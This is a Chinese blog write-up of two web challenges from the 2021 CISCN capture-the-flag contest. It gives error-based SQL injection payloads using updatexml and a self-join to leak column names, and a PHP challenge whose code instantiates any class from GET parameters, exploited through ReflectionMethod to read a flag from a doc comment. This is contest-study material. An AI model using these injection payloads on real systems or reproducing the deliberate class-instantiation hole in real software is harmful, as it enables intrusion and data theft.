2021全国大学生信息安全大赛[CISCN]web部分复现

原创

1ance. 于 2021-05-18 00:57:44 发布 984 收藏 3

分类专栏： 赛题复现 文章标签： 信息安全 web 网络安全

本文链接：https://blog.csdn.net/weixin_44033675/article/details/116905618

目录

Web

easysql

太菜了。。一道注入搞了半天也没整出来离谱的很。。

先是想着sqlmap跑一下，结果发现是sqllabs的数据库，发现flag表，心中暗想不会吧不会吧这就出来了？？接下去，才发现是我太年轻了。flag表里啥就一个id字段，其他的啥也没跑出来，离谱啊。。

只能手工测测了。发现有报错注入，但是information被过滤了，查不了列名，然后想着用时间盲注，跑出列名，最后跑出来flag（那一刻是超爽）。。。。但是提交错误（心态炸裂），然后开始检查，发现脚本有问题，比较的时候大小写有问题。

> payload = “admin’)and(if((select 1,‘NO’,’{}’)<(select * from flag),1,0))#”

在本地测了一下，发现大小写比较会出问题。要转ascii才行，所以之前的思路不太行了。。

继续分析吧，找资料，发现是利用join无列表注入。

道行还浅仍需努力啊最后还是没做出来。后面再加强无列表注入。

以下参考魔法少女雪殇

```
payload：uname=admin&passwd=1') and updatexml(1,concat(0x7e,(select*from (select * from flag as a join flag as b
 using(id,no))as c),0x7e),1)#&Submit=%E7%99%BB%E5%BD%95
```

```
name=admin&passwd=1') and
pdatexml(1,concat(0x7e,(select*from (select * from flag as
 join flag as b using(id,no))as
),0x7e),1)#&Submit=%E7%99%BB%E5%BD%95
```

```
40    </div>
41  </body>
42 </html>
43
44
45
46
47
48
49 Duplicate column name 'cb9704e8-dfcb-4feb-90c7-d84c92ef0062
   </font>
50 </div>
51 </body>
```


报错出字段，继续

```
uname=admin&passwd=1')||updatexml(1,((select `cb9704e8-dfcb-4feb-90c7-d84c92ef0062` from flag limit 0,1)),1)%23#
&Submit=%E7%99%BB%E5%BD%95
```

```
45
46
47
48
49 XPATH syntax error: '{0sq5h-DOogC-T27JD-Qzv6N-Xxk15-}'
   </font>
50 </div>
51 </body>
52 </html>
```

easy_source

原理是：PHP反射 flag藏在类注释里

根据提示源码，查看备份，`.index.php.swo`(前几天津门杯是swp这次是swo，下次是不是就是swn了hahaha)

发现源码

本题目没有其他代码了噢，就只有这一个文件，虽然你看到的不完全，但是你觉得我会把flag藏在哪里呢，仔细想想文件里面还有什么？

```php
<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
```

```
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }
```



```
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());
```

分析题目，猜测 flag 是藏在类的注释中，我们能够实例化任意类，并调用类方法，那么就可以利用 PHP 内置类中的 ReflectionMethod 来读取 User 类里面各个函数的注释，本地测试如下：

```
<?php
class User
{
    private static $c = 0;
    // public $b = 100;

    function a()
    {
        return ++self::$c;
    }
    /**
    * Increment counter
    * @final
    * @static
    * @access  publicflag{b5bd0ab820fd11eb8cf4fa163e83cb88}
    * @return  int
    */
    function b()
    {
        return ++self::$c;
    }
}

$d = new ReflectionMethod ('User', 'b');
// $d->c();
// var_dump($d);
var_dump($d->getDocComment());
?>
```

```
问题  输出  调试控制台  终端

    * @access  publicflag{b5bd0ab820fd11eb8cf4fa163e83cb88}
    * @return  int
    */
Method [ <user> public method b ] {
  @@ /home/vscode/php/2.php 18 - 21
}
"

vscode@kali ~/php> php 2.php
string(141) "/**
    * Increment counter
    * @final
    * @static
    * @access  publicflag{b5bd0ab820fd11eb8cf4fa163e83cb88}
    * @return  int
    */"
vscode@kali ~/php>
```


伪源码：

```
<?php
```

```php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
```

```
    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }
    /**
    * Increment counter
    * @final
    * @static
    * @access  publicflag{b5bd0ab820fd11eb8cf4fa163e83cb88}
    * @return  int
    */
    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }

}



$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
```

```
var_dump($method->$rd());
```

构造成题目中的 http 参数

```
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
```

因为不知道是在哪个函数的注释中，所以逐个函数暴破，暴破 rb 的值 a-z，可以发现 flag 在 q 的注释中.
payload:

```
?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment
```

本题考察的是 PHP反射，ReflectionMethod 构造 User 类中的函数方法，再通过 getDocComment 获取函数的注释，本例中使用 __toString 同样可以输出函数注释内容。
参考：fslh-writeup

接下来就是划水了。。。整的跟高考似的。